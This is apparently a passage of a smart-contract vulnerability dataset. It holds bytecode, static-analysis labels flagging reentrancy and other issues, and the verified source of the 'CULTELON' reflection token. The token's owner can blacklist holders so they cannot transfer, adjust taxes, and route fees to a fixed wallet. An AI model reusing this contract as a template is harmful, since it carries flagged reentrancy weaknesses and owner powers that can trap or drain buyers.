915050565b6130cc81612f9d565b82525050565b60006020820190506130e760008301846130c3565b92915050565b60008060006060848603121561310657613105612ce9565b5b600061311486828701612dfe565b935050602061312586828701612dfe565b925050604061313686828701612fbe565b9150509250925092565b600060ff82169050919050565b61315681613140565b82525050565b6000602082019050613171600083018461314d565b92915050565b61318081612dd5565b82525050565b600060208201905061319b6000830184613177565b92915050565b6000602082840312156131b7576131b6612ce9565b5b60006131c584828501612dfe565b91505092915050565b6131d781613013565b81146131e257600080fd5b50565b6000813590506131f4816131ce565b92915050565b6000602082840312156132105761320f612ce9565b5b600061321e848285016131e5565b91505092915050565b60006020828403121561323d5761323c612ce9565b5b600061324b84828501612fbe565b91505092915050565b6000806000806080858703121561326e5761326d612ce9565b5b600061327c87828801612fbe565b945050602061328d87828801612fbe565b935050604061329e87828801612fbe565b92505060606132af87828801612fbe565b91505092959194509250565b600080fd5b60008083601f8401126132d6576132d5612cf3565b5b8235905067ffffffffffffffff8111156132f3576132f26132bb565b5b60208301915083602082028301111561330f5761330e612db0565b5b9250929050565b60008060006040848603121561332f5761332e612ce9565b5b600084013567ffffffffffffffff81111561334d5761334c612cee565b5b613359868287016132c0565b9350935050602061336c868287016131e5565b9150509250925092565b6000806040838503121561338d5761338c612ce9565b5b600061339b85828601612dfe565b92505060206133ac85828601612dfe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133ec602083612efe565b91506133f7826133b6565b602082019050919050565b6000602082019050818103600083015261341b816133df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061348b82612f9d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134bd576134bc613451565b5b600182019050919050565b7f4275792072657761726473000000000000000000000000000000000000000000600082015250565b60006134fe600b83612efe565b9150613509826134c8565b602082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f4275792074617800000000000000000000000000000000000000000000000000600082015250565b600061356a600783612efe565b915061357582613534565b602082019050919050565b600060208201905081810360008301526135998161355d565b9050919050565b7f53656c6c20726577617264730000000000000000000000000000000000000000600082015250565b60006135d6600c83612efe565b91506135e1826135a0565b602082019050919050565b60006020820190508181036000830152613605816135c9565b9050919050565b7f53656c6c20746178000000000000000000000000000000000000000000000000600082015250565b6000613642600883612efe565b915061364d8261360c565b602082019050919050565b6000602082019050818103600083015261367181613635565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136d4602683612efe565b91506136df82613678565b604082019050919050565b60006020820190508181036000830152613703816136c7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613766602483612efe565b91506137718261370a565b604082019050919050565b6000602082019050818103600083015261379581613759565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f8602283612efe565b91506138038261379c565b604082019050919050565b60006020820190508181036000830152613827816137eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061388a602583612efe565b91506138958261382e565b604082019050919050565b600060208201905081810360008301526138b98161387d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061391c602383612efe565b9150613927826138c0565b604082019050919050565b6000602082019050818103600083015261394b8161390f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139ae602983612efe565b91506139b982613952565b604082019050919050565b600060208201905081810360008301526139dd816139a1565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a40603f83612efe565b9150613a4b826139e4565b604082019050919050565b60006020820190508181036000830152613a6f81613a33565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613aac601c83612efe565b9150613ab782613a76565b602082019050919050565b60006020820190508181036000830152613adb81613a9f565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b3e602383612efe565b9150613b4982613ae2565b604082019050919050565b60006020820190508181036000830152613b6d81613b31565b9050919050565b6000613b7f82612f9d565b9150613b8a83612f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bbf57613bbe613451565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613c26602383612efe565b9150613c3182613bca565b604082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000613c6782612f9d565b9150613c7283612f9d565b925082821015613c8557613c84613451565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613cec602a83612efe565b9150613cf782613c90565b604082019050919050565b60006020820190508181036000830152613d1b81613cdf565b9050919050565b600081519050613d3181612de7565b92915050565b600060208284031215613d4d57613d4c612ce9565b5b6000613d5b84828501613d22565b91505092915050565b6000819050919050565b6000613d89613d84613d7f84613d64565b613049565b612f9d565b9050919050565b613d9981613d6e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dd481612dd5565b82525050565b6000613de68383613dcb565b60208301905092915050565b6000602082019050919050565b6000613e0a82613d9f565b613e148185613daa565b9350613e1f83613dbb565b8060005b83811015613e50578151613e378882613dda565b9750613e4283613df2565b925050600181019050613e23565b5085935050505092915050565b600060a082019050613e7260008301886130c3565b613e7f6020830187613d90565b8181036040830152613e918186613dff565b9050613ea06060830185613177565b613ead60808301846130c3565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ef182612f9d565b9150613efc83612f9d565b925082613f0c57613f0b613eb7565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f4d601b83612efe565b9150613f5882613f17565b602082019050919050565b60006020820190508181036000830152613f7c81613f40565b9050919050565b6000613f8e82612f9d565b9150613f9983612f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fd257613fd1613451565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614039602183612efe565b915061404482613fdd565b604082019050919050565b600060208201905081810360008301526140688161402c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018812d3d169eda9ea5d5566ba38c98e346b91f0420f0704b26e06a8c931f0f7c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8,893
0x7027ab7b277ca75956aa0439b5e54f4b99ba76e0
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ // SPDX-License-Identifier: UNLICENSED // https://t.me/cultelon pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CULTELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "CULTELON"; string private constant _symbol = "CULTELON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x37Bf6818E40A8047492bB314665DAABE6763215e); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063715018a6146102a25780638da5cb5b146102b757806395d89b411461013a5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b8063273123b7116100f2578063273123b714610211578063313ce5671461023157806346df33b71461024d5780636fc3eaec1461026d57806370a082311461028257600080fd5b806306fdde031461013a578063095ea7b31461017a57806318160ddd146101aa5780631bbae6e0146101cf57806323b872dd146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600881526721aaa62a22a627a760c11b602082015290516101719190611866565b60405180910390f35b34801561018657600080fd5b5061019a6101953660046116ed565b6103e4565b6040519015158152602001610171565b3480156101b657600080fd5b50670de0b6b3a76400005b604051908152602001610171565b3480156101db57600080fd5b506101ef6101ea36600461181f565b6103fb565b005b3480156101fd57600080fd5b5061019a61020c3660046116ac565b610446565b34801561021d57600080fd5b506101ef61022c366004611639565b6104af565b34801561023d57600080fd5b5060405160098152602001610171565b34801561025957600080fd5b506101ef6102683660046117e5565b6104fa565b34801561027957600080fd5b506101ef610542565b34801561028e57600080fd5b506101c161029d366004611639565b610576565b3480156102ae57600080fd5b506101ef610598565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610171565b3480156102eb57600080fd5b506101ef61060c565b34801561030057600080fd5b5061019a61030f3660046116ed565b61084b565b34801561032057600080fd5b506101ef61032f366004611719565b610858565b34801561034057600080fd5b506101ef6108ee565b34801561035557600080fd5b506101ef61092e565b34801561036a57600080fd5b506101ef61037936600461181f565b610af4565b34801561038a57600080fd5b506101ef61039936600461181f565b610b2c565b3480156103aa57600080fd5b506101c16103b9366004611673565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f1338484610b64565b5060015b92915050565b6000546001600160a01b0316331461042e5760405162461bcd60e51b8152600401610425906118bb565b60405180910390fd5b66470de4df8200008111156104435760108190555b50565b6000610453848484610c88565b6104a584336104a085604051806060016040528060288152602001611a52602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f43565b610b64565b5060019392505050565b6000546001600160a01b031633146104d95760405162461bcd60e51b8152600401610425906118bb565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105245760405162461bcd60e51b8152600401610425906118bb565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056c5760405162461bcd60e51b8152600401610425906118bb565b4761044381610f7d565b6001600160a01b0381166000908152600260205260408120546103f590610fb7565b6000546001600160a01b031633146105c25760405162461bcd60e51b8152600401610425906118bb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106365760405162461bcd60e51b8152600401610425906118bb565b600f54600160a01b900460ff16156106905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f057600080fd5b505afa158015610704573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107289190611656565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077057600080fd5b505afa158015610784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a89190611656565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f057600080fd5b505af1158015610804573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108289190611656565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f1338484610c88565b6000546001600160a01b031633146108825760405162461bcd60e51b8152600401610425906118bb565b60005b81518110156108ea576001600660008484815181106108a6576108a6611a02565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e2816119d1565b915050610885565b5050565b6000546001600160a01b031633146109185760405162461bcd60e51b8152600401610425906118bb565b600061092330610576565b90506104438161103b565b6000546001600160a01b031633146109585760405162461bcd60e51b8152600401610425906118bb565b600e546109789030906001600160a01b0316670de0b6b3a7640000610b64565b600e546001600160a01b031663f305d719473061099481610576565b6000806109a96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0c57600080fd5b505af1158015610a20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a459190611838565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610abc57600080fd5b505af1158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104439190611802565b6000546001600160a01b03163314610b1e5760405162461bcd60e51b8152600401610425906118bb565b600f81101561044357600b55565b6000546001600160a01b03163314610b565760405162461bcd60e51b8152600401610425906118bb565b600f81101561044357600c55565b6001600160a01b038316610bc65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610c275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610d4e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b60008111610d5b57600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610d8157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dc357506001600160a01b03821660009081526005602052604090205460ff16155b15610f33576000600955600c54600a55600f546001600160a01b038481169116148015610dfe5750600e546001600160a01b03838116911614155b8015610e2357506001600160a01b03821660009081526005602052604090205460ff16155b8015610e385750600f54600160b81b900460ff165b15610e65576000610e4883610576565b601054909150610e5883836111c4565b1115610e6357600080fd5b505b600f546001600160a01b038381169116148015610e905750600e546001600160a01b03848116911614155b8015610eb557506001600160a01b03831660009081526005602052604090205460ff16155b15610ec6576000600955600b54600a555b6000610ed130610576565b600f54909150600160a81b900460ff16158015610efc5750600f546001600160a01b03858116911614155b8015610f115750600f54600160b01b900460ff165b15610f3157610f1f8161103b565b478015610f2f57610f2f47610f7d565b505b505b610f3e838383611223565b505050565b60008184841115610f675760405162461bcd60e51b81526004016104259190611866565b506000610f7484866119ba565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ea573d6000803e3d6000fd5b600060075482111561101e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610425565b600061102861122e565b90506110348382611251565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108357611083611a02565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110d757600080fd5b505afa1580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f9190611656565b8160018151811061112257611122611a02565b6001600160a01b039283166020918202929092010152600e546111489130911684610b64565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111819085906000908690309042906004016118f0565b600060405180830381600087803b15801561119b57600080fd5b505af11580156111af573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111d18385611961565b9050838110156110345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b610f3e838383611293565b600080600061123b61138a565b909250905061124a8282611251565b9250505090565b600061103483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ca565b6000806000806000806112a5876113f8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112d79087611455565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130690866111c4565b6001600160a01b03891660009081526002602052604090205561132881611497565b61133284836114e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113a58282611251565b8210156113c157505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113eb5760405162461bcd60e51b81526004016104259190611866565b506000610f748486611979565b60008060008060008060008060006114158a600954600a54611505565b925092509250600061142561122e565b905060008060006114388e87878761155a565b919e509c509a509598509396509194505050505091939550919395565b600061103483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f43565b60006114a161122e565b905060006114af83836115aa565b306000908152600260205260409020549091506114cc90826111c4565b30600090815260026020526040902055505050565b6007546114ee9083611455565b6007556008546114fe90826111c4565b6008555050565b600080808061151f606461151989896115aa565b90611251565b9050600061153260646115198a896115aa565b9050600061154a826115448b86611455565b90611455565b9992985090965090945050505050565b600080808061156988866115aa565b9050600061157788876115aa565b9050600061158588886115aa565b90506000611597826115448686611455565b939b939a50919850919650505050505050565b6000826115b9575060006103f5565b60006115c5838561199b565b9050826115d28583611979565b146110345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b803561163481611a2e565b919050565b60006020828403121561164b57600080fd5b813561103481611a2e565b60006020828403121561166857600080fd5b815161103481611a2e565b6000806040838503121561168657600080fd5b823561169181611a2e565b915060208301356116a181611a2e565b809150509250929050565b6000806000606084860312156116c157600080fd5b83356116cc81611a2e565b925060208401356116dc81611a2e565b929592945050506040919091013590565b6000806040838503121561170057600080fd5b823561170b81611a2e565b946020939093013593505050565b6000602080838503121561172c57600080fd5b823567ffffffffffffffff8082111561174457600080fd5b818501915085601f83011261175857600080fd5b81358181111561176a5761176a611a18565b8060051b604051601f19603f8301168101818110858211171561178f5761178f611a18565b604052828152858101935084860182860187018a10156117ae57600080fd5b600095505b838610156117d8576117c481611629565b8552600195909501949386019386016117b3565b5098975050505050505050565b6000602082840312156117f757600080fd5b813561103481611a43565b60006020828403121561181457600080fd5b815161103481611a43565b60006020828403121561183157600080fd5b5035919050565b60008060006060848603121561184d57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561189357858101830151858201604001528201611877565b818111156118a5576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119405784516001600160a01b03168352938301939183019160010161191b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611974576119746119ec565b500190565b60008261199657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119b5576119b56119ec565b500290565b6000828210156119cc576119cc6119ec565b500390565b60006000198214156119e5576119e56119ec565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044357600080fd5b801515811461044357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5255b83cbcdc2800439d6f756c779de2ff65b94c1b11f0f283e9e743a544df664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,894
0x51E20AE8737136f027c91C7498131e088fBb23Dd
